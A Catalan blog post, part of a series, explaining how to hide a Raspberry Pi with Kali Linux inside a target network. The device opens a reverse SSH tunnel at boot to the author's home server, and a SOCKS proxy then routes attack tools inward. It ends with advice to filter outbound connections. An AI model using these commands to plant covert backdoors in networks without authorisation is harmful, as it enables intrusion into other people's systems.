Túnels SSH (II): Túnel invers, o com obrir una porta des de dintre.

Ja fa força temps vaig començar una sèrie de posts on explorava les possibilitats dels túnels SSH, el primer de tot va ser com utilitzar-los per evadir proxys i obtenir anonimicitat Túnels SSH (I): Evadint proxys i obtenint privacitat.  Avui continuem explorant les possibilitats, en aquesta ocasió veurem els túnels inversos.

Com us podeu imaginar un túnel invers funciona al revés que un de normal, aquí la idea és que el servidor SSH es connecta a un altre servidor per a establir una connexió entre els dos.  A nivell de seguretat aquesta tècnica ens pot permetre per exemple implementar-la en una Raspberry Pi i utilitzar-la per crear una entrada directa en la xarxa objectiu sense haver de comprometre cap màquina prèvia ni preocupar-nos de evadir el router ja que serà un element de la pròpia xarxa objectiu qui ens deixarà entrar amablement.

Exemple de túnel invers.

La dificultat d’aquests tipus d’atacs és, lògicament, col·locar aquest aparell dins la infraestructura informàtica.  Tanmateix això pot arribar a ser més senzill del que pot semblar en un principi… aquelles tomes i regletes darrera dels escriptoris de recepció, aquell punt de connexió en el magatzem o sala d’espera, o simplement canvis d’ús en habitacions poden propiciar un punt de connexió fàcil d’utilitzar i d’ocultar.

Cal també remarcar que existeixen solucions comercials, com miniPwner, que proporcionen aquestes capacitats, però no seran mai tan econòmiques, flexibles i gratificants com una Raspberry Pi amb la Kali Linux instal·lada i perfectament configurada a les nostres necessitats.  I en última instància, crear el túnel invers és extremadament senzill!

MiniPwner, una alternativa comercial.

A la nostra Raspberry Pi tan sols haurem de crear una comanda que s’executi a l’arrencada:

ssh -R 19999:localhost:22 root@IP_ServidorSSH_Casa

Amb això la Raspberry crearà un túnel invers en el nostre servidor SSH situat a casa nostra (o les oficines) que estarà escoltant en el port 19999.  Un cop fet això, des de l’ordinador de casa tan sols haurem de crear una nova sessió SSH per connectar-nos a la Raspberry Pi tot utilitzant aquest túnel invers que hem creat:

ssh root@localhost -p 19999

I ja tindrem iniciada una sessió en la Raspberry Pi que estarà dins de la xarxa del nostre objectiu!

Un altre opció des de casa és utilitzar SSH per crear un proxy que ens llençi totes les comunicacions cap a la Raspberry Pi i per tant cap a la xarxa del nostre objectiu.  Molt útil si el que volem fer és un escaneix o utilitzar eines que permetin l’ús de proxys (o forçar-li tal com varem veure en el primer post de túnels SSH).  Per a fer-ho, des de casa farem:

ssh -D :1080 root@localhost -p 19999

Ara, en el ordinador de casa podrem verificar que tenim un port 1080 en espera i tot el que re-direccionem cap a aquest port serà re-enviat, mitjançant el túnel invers que tenim muntat per el port 19999, cap a que ho gestioni la Raspberry Pi que esta en la xarxa objectiu.

D’aquesta manera podrem llançar tot l’arsenal de eines (i procés de càlcul) de l’ordinador de casa nostra cap a l’interior de la xarxa objectiu utilitzant el túnel invers que ha crear la nostre Raspberry Pi com a pont.  Molt divertit si estem auditant un client, però què podem fer com a administradors per a evitar els riscos enormes que comporten els túnels inversos en SSH? Doncs molt senzill, simplement una bona política de filtratge en el nostre router perimetral que, recordeu, també és capaç de filtrar les connexions sortints!

Anuncis

~ per madyyelf a 25 Abril 2014.